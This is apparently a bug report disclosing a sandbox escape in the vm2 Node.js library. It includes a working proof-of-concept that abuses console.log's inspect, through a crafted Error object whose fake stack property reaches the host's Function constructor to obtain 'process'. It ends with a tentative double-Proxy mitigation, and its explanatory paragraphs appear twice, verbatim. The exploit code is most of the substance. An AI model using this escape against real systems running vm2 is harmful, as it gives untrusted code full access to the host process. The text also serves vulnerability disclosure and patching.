Because console.log uses inspect and inspect violates the proxy specs by directly interacting with the target, it is possible to escape through console.log.
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
const bad = new Error();
bad.__proto__ = null;
bad.stack = {
startsWith(){
return true;
},
length: 5,
match(outer){
throw outer.constructor.constructor("return process")();
}
};
return bad;
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
Only idea I have so far is to double wrap objects from the vm in two Proxys. Inspect will remove the outer one but respect the second one.
This is new in node 12, maybe was there in 8, but likely not in 10.
Because console.log uses inspect and inspect violates the proxy specs by directly interacting with the target, it is possible to escape through console.log.
Only idea I have so far is to double wrap objects from the vm in two Proxys. Inspect will remove the outer one but respect the second one.
This is new in node 12, maybe was there in 8, but likely not in 10.